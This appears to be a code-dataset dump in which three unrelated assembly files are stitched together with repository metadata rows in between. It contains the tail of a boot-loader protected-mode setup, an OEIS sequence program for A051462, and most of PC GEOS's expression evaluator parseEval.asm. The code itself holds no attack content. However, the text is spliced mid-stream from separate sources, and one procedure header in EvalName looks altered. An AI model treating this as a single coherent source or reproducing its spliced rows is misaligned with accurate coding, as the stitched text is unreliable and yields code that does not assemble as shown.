jmp CODE_SEG:init_pm
[bits 32]
init_pm:
mov ax, DATA_SEG
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000
mov esp, ebp
call BEGIN_PM
| 11.811321 | 33 | 0.696486 |
af509b79c48a9a46a61c1cc6a3cd8af81829387c | 1,977 | asm | Assembly | programs/oeis/051/A051462.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/051/A051462.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/051/A051462.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A051462: Molien series for group G_{1,2}^{8} of order 1536.
; 1,4,11,25,48,83,133,200,287,397,532,695,889,1116,1379,1681,2024,2411,2845,3328,3863,4453,5100,5807,6577,7412,8315,9289,10336,11459,12661,13944,15311,16765,18308,19943,21673,23500,25427,27457,29592,31835,34189,36656,39239,41941,44764,47711,50785,53988,57323,60793,64400,68147,72037,76072,80255,84589,89076,93719,98521,103484,108611,113905,119368,125003,130813,136800,142967,149317,155852,162575,169489,176596,183899,191401,199104,207011,215125,223448,231983,240733,249700,258887,268297,277932,287795,297889,308216,318779,329581,340624,351911,363445,375228,387263,399553,412100,424907,437977,451312,464915,478789,492936,507359,522061,537044,552311,567865,583708,599843,616273,633000,650027,667357,684992,702935,721189,739756,758639,777841,797364,817211,837385,857888,878723,899893,921400,943247,965437,987972,1010855,1034089,1057676,1081619,1105921,1130584,1155611,1181005,1206768,1232903,1259413,1286300,1313567,1341217,1369252,1397675,1426489,1455696,1485299,1515301,1545704,1576511,1607725,1639348,1671383,1703833,1736700,1769987,1803697,1837832,1872395,1907389,1942816,1978679,2014981,2051724,2088911,2126545,2164628,2203163,2242153,2281600,2321507,2361877,2402712,2444015,2485789,2528036,2570759,2613961,2657644,2701811,2746465,2791608,2837243,2883373,2930000,2977127,3024757,3072892,3121535,3170689,3220356,3270539,3321241,3372464,3424211,3476485,3529288,3582623,3636493,3690900,3745847,3801337,3857372,3913955,3971089,4028776,4087019,4145821,4205184,4265111,4325605,4386668,4448303,4510513,4573300,4636667,4700617,4765152,4830275,4895989,4962296,5029199,5096701,5164804,5233511,5302825,5372748,5443283,5514433,5586200,5658587,5731597,5805232,5879495,5954389,6029916,6106079,6182881,6260324,6338411,6417145,6496528,6576563,6657253,6738600,6820607,6903277
mov $4,$0
mul $0,2
mov $3,$0
lpb $3,1
mov $2,$3
lpb $2,1
sub $2,1
add $1,$2
lpe
sub $3,3
lpe
lpb $4,1
add $1,2
sub $4,1
lpe
add $1,1
| 98.85 | 1,760 | 0.822458 |
90a5473190b1506562dd8d20f9ead668bb751000 | 73,340 | asm | Assembly | Library/Parse/parseEval.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Parse/parseEval.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Parse/parseEval.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: parseEval.asm
AUTHOR: John Wedgwood, Jan 16, 1991
ROUTINES:
Name Description
---- -----------
GLBL ParserEvalExpression Evaluate a stream of parser tokens.
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 1/16/91 Initial revision
DESCRIPTION:
Evaluation routines. ParserEvalPushString takes a string size.
$Id: parseEval.asm,v 1.1 97/04/05 01:27:24 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalExpression
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate a stream of parser tokens.
CALLED BY: Global
PASS: ds:si = Pointer to parsed expression
es:di = Pointer to the base of a scratch buffer.
This buffer consists of two stacks. The argument
stack grows down from the top of the buffer and
the operator/function stack grows up from the
bottom of the buffer. When the two stacks collide
an error is reported.
cx = Size of scratch buffer
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set if there was a serious error
al = ParserScannerEvalError code
es:bx = Pointer to the result
If we were generating dependencies then ss:bp.EP_depHandle
holds the block handle of the locked block which contains
the list of cells, ranges, names, and functions that the
expression depends on.
If there was a "not so serious" error in evaluating, then the
evaluator argument stack will contain the error token.
DESTROYED: ah
PSEUDO CODE/STRATEGY:
The operator/function stack is referenced with es:di. It grows up.
The argument stack is referenced with es:bx. It grows down.
It is easy to tell if there is no more scratch space. As soon as
di >= bx, then there is no more space.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/16/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalExpression proc far
uses cx, dx, di, si
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < mov bx, ds >
EC < call ECAssertValidFarPointerXIP >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
else
EC < call ECCheckPointer >
EC < call ECCheckEvalParameters >
endif
EC < call ECCheckPointerESDI >
EC < cmp cx, MINIMUM_STACK_SPACE ; enough bytes? >
EC < ERROR_B EVAL_NOT_ENOUGH_STACK_SPACE >
call FloatGetStackPointer ; ax <- fp-stack pointer
mov ss:[bp].EP_fpStack, ax ; Save the stack pointer
mov ss:[bp].EP_depHandle, 0 ; No dependencies yet.
;
; Mark that there has been no error pushed yet.
;
and ss:[bp].EP_flags, not mask EF_ERROR_PUSHED
;
; Init the OperatorStack.
;
mov es:[di].OSE_type, ESOT_TOP_OF_STACK
;
; Init the ArgumentStack
;
mov bx, di
add bx, cx ; bx <- top of argument stack.
; Don't point past end of buffer
sub bx, size EvalStackArgumentType
mov es:[bx].ASE_type, ESAT_TOP_OF_STACK
mov ss:[bp].EP_nestedLevel, 0
evalLoop:
;
; ds:si = Pointer to next parser-token
; es:di = Pointer to operator/function stack
; es:bx = Pointer to argument stack
;
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
clr ah ; Always want ah clear in this loop
lodsb ; ax <- token
EC < cmp ax, ParserTokenType >
EC < ERROR_AE EVAL_ILLEGAL_PARSER_TOKEN >
push bx ; Save arg ptr
mov bx, ax ; bx <- token
shl bx, 1 ; Index into table of words
mov cx, cs:evalHandlers[bx] ; cx <- the handler routine
pop bx ; Restore arg ptr
;
; al = The token
; cx = Handler for the token
; ds:si = Pointer to the parser-token data
; es:di = Pointer to the operator/function stack
; es:bx = Pointer to the argument stack
;
mov dh, al ; Save token in dh
push cs ; The functions are far routines.
call cx ; Call the handler
jc quit ; Quit if error
mov al, dh ; Restore token from dh
cmp al, PARSER_TOKEN_END_OF_EXPRESSION
jne evalLoop ; Loop while not end of expression
clc ; Signal: no error
EC < push ax >
EC < lahf ; Save flags >
EC < cmp es:[di].OSE_type, ESOT_TOP_OF_STACK >
EC < ERROR_NZ EVAL_SUCCESSFUL_BUT_TOP_OF_STACK_NOT_FOUND >
;
; There should only be a single argument on the stack
;
EC < push bx ; Save the arg ptr >
EC < call Pop1Arg ; Pop a single argument >
EC < cmp es:[bx].ASE_type, ESAT_TOP_OF_STACK >
EC < ERROR_NZ EVAL_LEFT_TOO_MANY_ARGUMENTS >
EC < pop bx ; Restore the arg ptr >
EC < sahf ; Restore flags >
EC < pop ax >
quit:
;
; We're done, unless the nesting level is non-zero.
;
jnc noError ; Branch if no error
call RecoverFromError ; Handle error related stuff
noError:
call FixupFPStack ; Fixup the fp-stack
.leave
ret
ParserEvalExpression endp
;
; This table lists handlers for each of the parser tokens. It depends on
; the order of definition of the ParserTokenType enums. All the routines
; should be in this code segment, and should be declared far.
;
evalHandlers word offset cs:ParserEvalPushNumericConstant,
offset cs:HandleStringConstant,
offset cs:ParserEvalPushCellReference,
offset cs:EvalEndOfExpression,
offset cs:EvalOpenParen,
offset cs:EvalCloseParen,
offset cs:EvalName,
offset cs:EvalFunction,
offset cs:EvalCloseFunction,
offset cs:EvalArgEnd,
offset cs:EvalOperator
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushNumericConstant
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push a number constant on the argument stack
CALLED BY: Global, ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to ParserTokenNumberData
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code.
ds:si = Pointer past the ParserTokenNumberData
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Load the number into the co-processor stack
Push a reference to that number on the argument stack
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushNumericConstant proc far
uses cx, di
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
clr cx ; No additional space needed
mov al, mask ESAT_NUMBER
call ParserEvalPushArgument ; Make space on the argument stack
jc quit ; Quit if no space
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jnz quit ; branch if making dependencies
;
; We are really evaluating, push the number on the fp-stack.
;
call FloatPushNumber ; Push the number on the stack
clc ; Signal: no error
quit:
lahf ; Save the error flag (carry)
add si, size ParserTokenNumberData
sahf ; Restore the error flag (carry)
.leave
ret
ParserEvalPushNumericConstant endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushNumericConstantWord
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push a word constant onto the argument stack
CALLED BY: Global
PASS: es:bx = Pointer to the argument stack
es:di = Poiner to operator/function stack
ss:bp = Pointer to EvalParameters
cx = Word value to push
RETURN: es:bx = New argument stack
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 6/10/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushNumericConstantWord proc far
uses cx, di
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
push cx ; Save word to push
clr cx ; No additional space needed
mov al, mask ESAT_NUMBER
call ParserEvalPushArgument ; Make space on the argument stack
pop cx ; Restore word to push
jc quit ; Quit if no space
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jnz quit ; branch if making dependencies
;
; We are really evaluating, push the number on the fp-stack.
;
mov ax, cx ; ax <- number to push
call FloatWordToFloat ; Push the number on the stack
clc ; Signal: no error
quit:
.leave
ret
ParserEvalPushNumericConstantWord endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HandleStringConstant
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push a string constant on the argument stack
CALLED BY: ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to ParserTokenStringData
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
ds:si = Pointer past the ParserTokenStringData
DESTROYED: ax
PSEUDO CODE/STRATEGY:
call ParserEvalPushStringConstant with cx = size.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/18/91 Initial version
witt 11/16/93 DBCS-ized
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
HandleStringConstant proc far
uses cx
.enter
mov cx, ds:[si].PTSD_length ; cx <- length of the string
DBCS< shl cx, 1 ; cx <- size of string >
add si, 2 ; ds:si <- ptr to the string
call ParserEvalPushStringConstant ; Push the string
jc quit ; Quit on error
add si, cx ; Else skip past the string data
;
; carry is always clear here (unless si wraps in which case we
; are really screwed anyway.
;
quit:
.leave
ret
HandleStringConstant endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushStringConstant
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push a string constant on the argument stack.
CALLED BY: Global, HandleStringConstant
PASS: ds:si = Pointer to string data
cx = Size of the string (w/o NULL)
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Copy the string onto the argument stack.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
witt 11/16/93 DBCS-ized; convert all callers for cx = size
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushStringConstant proc far
uses cx, di, si
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
DBCS< EC < test cx, 1 ; odd size string? > >
DBCS< EC < ERROR_NZ ODDSIZED_DBCS_STRING ; crash burn > >
push cx ; save string size
SBCS< EC < cmp cx, MAX_STRING_LENGTH > >
DBCS< EC < cmp cx, MAX_STRING_LENGTH*(size wchar) > >
EC < ERROR_A PARSE_STRING_TOO_LONG >
LocalNextChar escx ; cx <- +1 for C_NULL
mov al, mask ESAT_STRING
call ParserEvalPushArgument ; Make space on the argument stack
pop cx
jc quit ; Quit on error
;
; Space was allocated. Save the length of the string and then the
; string data.
;
DBCS< shr cx, 1 ; cx <- string length >
mov es:[bx].ASE_data.ESAD_string.ESD_length, cx
lea di, es:[bx].ASE_data ; es:di <- ptr to data
add di, size ESAD_string ; es:di <- ptr past length
EC < cmp cx, MAX_STRING_LENGTH >
EC < ERROR_A PARSE_STRING_TOO_LONG >
LocalCopyNString ; Copy the string data
; si is now set correctly
;
; NULL-terminate the string, too, since various functions
; (unwisely) assumed this was the case.
;
clr ax
LocalPutChar esdi, ax ; NULL-terminate me jesus
clc ; Signal: no error
quit:
.leave
ret
ParserEvalPushStringConstant endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushCellReference
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push a cell reference on the argument stack
CALLED BY: Global, ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to ParserTokenCellData
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
si = Pointer past the ParserTokenCellData
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Push the absolute cell-reference onto the argument stack.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushCellReference proc far
uses cx, dx, ds
.enter
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
;
; Allocate a range on the stack and then duplicate the passed cell
; into it to get a range.
;
push si ; Save ptr to passed data
mov dx, es ; Save op-stack pointer into dx:ax
mov ax, di
sub sp, size EvalRangeData ; Allocate space on the stack for range
segmov es, ss, di ; es:di <- ptr to range data
mov di, sp
push di ; Save pointer to range
mov cx, size CellReference ; Duplicate the cell twice
push si, cx ; Save source, size
rep movsb ; Copy the cell
pop si, cx ; Restore source, size
rep movsb ; Copy the cell again
;
; Now we have a range on the stack, we call ParserEvalPushRange to put it on the
; argument stack.
; ss:bp = Pointer to EvalParameters
; dx = Segment address of argument and operator stack
; ax = Offset to operator stack
; bx = Offset to argument stack
; on-stack:
; Offset to range data
;
pop si ; Restore offset to range
segmov ds, ss ; ds:si <- ptr to the source
mov es, dx ; Restore op-stack pointer
mov di, ax
call ParserEvalPushRange ; Push it, returning error
lahf ; Save error flag (carry)
add sp, size EvalRangeData ; Restore the stack
pop si ; Restore pointer to cell data
add si, size CellReference ; Skip past it
sahf ; Restore error flag (carry)
.leave
ret
ParserEvalPushCellReference endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalFunction
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate a function call
CALLED BY: ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to ParserTokenFunctionData
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
ds:si = Pointer past ParserTokenFunctionData
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Push the function on the OperatorStack.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalFunction proc far
uses dx
.enter
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
mov dx, ds:[si].PTFD_functionID
mov al, ESOT_FUNCTION ; al <- operator
call PushOperator ; Push a function operator
lahf ; Save error code (carry)
add si, size ParserTokenFunctionData
sahf ; Restore error code (carry)
.leave
ret
EvalFunction endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalEndOfExpression
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate an end-of-expression
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
dh = The token that the evaluator should "believe" it
just handled.
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalEndOfExpression proc far
uses cx
.enter
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
tst ss:[bp].EP_nestedLevel ; Check for nested levels
jz finishEvalLoop ; Branch if none
;
; If there are nested levels we want to unlock the current one,
; re-load the next one, then eval a close-paren.
;
call UnwindOneNesting ; Unwind one level
call EvalCloseParen ; Close the current name
mov dh, PARSER_TOKEN_CLOSE_PAREN ; Fool the evaluator into
; thinking it just did a
; close-paren and not an
; end-of-expression
jmp quit
finishEvalLoop:
cmp es:[di].OSE_type, ESOT_TOP_OF_STACK
;;; Carry clear if the 'equal' condition is met
je finishEval ; Quit if top of stack
call PopOperatorAndEval ; Evaluate operator
jnc finishEvalLoop ; Loop to check next operator
;
; We have an error if we get here.
;
jmp quit ; Quit if error
finishEval:
;
; The result may be a single cell on the top of the stack. If it is
; then we dereference it, unless we are leaving that last cell
; as requested by the caller.
;
test ss:[bp].EP_flags, mask EF_KEEP_LAST_CELL
jnz quit ; Wait if we want to keep it
;
; If we are making dependencies then we want to add a dependency for
; this cell.
;
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jz derefCell ; Branch if not making deps
;
; Add a dependency for this cell.
;
push bx
mov cx, 1 ; cx <- # of args on stack
mov al, es:[bx] ; al <- argument type
inc bx ; bx <- ptr to the data
call AddEntryToDependencyBlock ; add the dependency
pop bx
jmp quit
derefCell:
;
; Not keeping the last cell and not making dependencies... Dereference
; the cell (if there is one).
;
call DereferenceCell ; Deref cell, if there is one
;;; Carry is set here if there is an error
quit:
;
; Carry is set correctly here.
;
.leave
ret
EvalEndOfExpression endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalOpenParen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate an open-paren
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Push an open-paren on the OperatorStack
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalOpenParen proc far
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
mov al, ESOT_OPEN_PAREN ; al <- operator
call PushOperator ; Push a function operator
;
; There is no data associated with this operator, so the carry
; and error-code from PushOperator() can be returned.
;
ret
EvalOpenParen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalCloseParen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate a close-paren
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Evaluate operators until an OpenParen reaches the top of the
OperatorStack.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalCloseParen proc far
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
checkOpLoop:
cmp es:[di].OSE_type, ESOT_OPEN_PAREN
je popOpenParen ; Quit if found open-paren
call PopOperatorAndEval ; Evaluate operator
jc quit ; Quit on error
jmp checkOpLoop ; Else loop to keep looking
popOpenParen:
;
; Pop the open-paren off the stack.
;
call PopOperator ; Remove the operator
quit:
;
; Carry is set correctly here.
;
ret
EvalCloseParen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalName
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a name in the token stream
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
ds:si = Pointer to the ParserTokenNameData
RETURN: carry set on error
al = Error code
ds:si = Pointer to next token to read
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/14/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalName proc far uses cx ; (was two lines)
.enter
cmp ss:[bp].EP_nestedLevel, EVAL_MAX_NESTED_LEVELS
je errorTooNested ; Branch if error
;
; Add the name to the dependency list (if we are adding dependencies)
; We add the name only if the name is directly referenced in the
; original formula. We can check this by checking the nesting
; level... It will be zero if it is a direct reference.
;
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jz noNameDependency
tst ss:[bp].EP_nestedLevel ; Only direct references
jnz noNameDependency ; Branch if not direct
push es, bx ; Save the arg ptr
mov al, ESAT_NAME ; al <- the token
segmov es, ds ; es:bx <- ptr to the name data
mov bx, si
call AddEntryToDependencyBlock ; Add the dependency
pop es, bx ; Restore the arg ptr
jc quit ; Quit on error
;
; If we are only doing names, then we can push any token we want and
; quit. Otherwise we need to continue processing...
;
test ss:[bp].EP_flags, mask EF_ONLY_NAMES
jz noNameDependency ; Branch if doing more than names
add si, size ParserTokenNameData ; Point to past the name
;
; Now we want to push something, anything at all. Since we have a label
; that pushes an error, we branch there. Like I said, it doesn't really
; matter where we go. It's not like we're really returning an error
; here.
;
jmp errorCircNameDependency
noNameDependency:
;
; Now save the current state on the nestedAddresses stack and
; call back to the application to dereference the name.
;
mov cx, ds:[si].PTND_name ; cx <- the name
push di ; Save opStack ptr
mov di, ss:[bp].EP_nestedLevel
shl di, 1 ; dword sized structures
shl di, 1
add si, size ParserTokenNameData ; Set to past the name
;
; Save current pointer so we can get it back
;
mov ss:[bp].EP_nestedAddresses[di].segment, ds
mov ss:[bp].EP_nestedAddresses[di].offset, si
call CheckCircularNameRef ; Check for circ name reference
pop di ; Restore opStack ptr
jc errorCircNameDependency ; Branch if there's a problem
;
; Now call the callback to get the new pointer
;
mov al, CT_LOCK_NAME ; al <- the reason
if FULL_EXECUTE_IN_PLACE
pushdw ss:[bp].CP_callback
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[bp].CP_callback ; ds:si <- token data
endif
jc checkUndefined ; Branch on error
inc ss:[bp].EP_nestedLevel ; One more nested level
call EvalOpenParen ; Force an open-paren on the
; stack.
;;; carry is set correctly here.
quit:
.leave
ret
errorTooNested:
mov al, PSEE_NESTING_TOO_DEEP
stc ; Signal: abort processing
jmp quit ; Quit
checkUndefined:
;
; Check for the application returning that a name is undefined.
;
; In this case we actually just push an error on the stack and
; pretend that we never actually saw this name...
;
cmp al, PSEE_UNDEFINED_NAME
jne quit ; Quit if it's a different error
clr cx ; Don't pop anything
call PropogateError ; Push the error token
jmp quit
errorCircNameDependency:
;
; The names used by this cell contain a circular name dependency.
;
mov al, PSEE_CIRC_NAME_REF ; Note circularity...
clr cx ; Don't pop anything
call PropogateError ; Generate the error token
jmp quit
EvalName endp
